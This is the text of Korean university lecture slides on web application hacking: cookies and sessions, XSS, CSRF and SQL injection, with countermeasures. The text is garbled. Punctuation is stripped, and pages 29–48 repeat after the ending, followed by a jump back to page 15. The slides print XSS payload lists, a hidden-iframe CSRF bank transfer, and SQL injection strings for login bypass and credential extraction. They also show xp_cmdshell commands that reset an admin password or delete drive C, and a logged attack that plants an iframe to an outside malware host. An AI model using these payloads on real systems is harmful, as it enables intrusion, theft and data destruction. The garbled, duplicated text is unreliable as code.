특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 15: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--
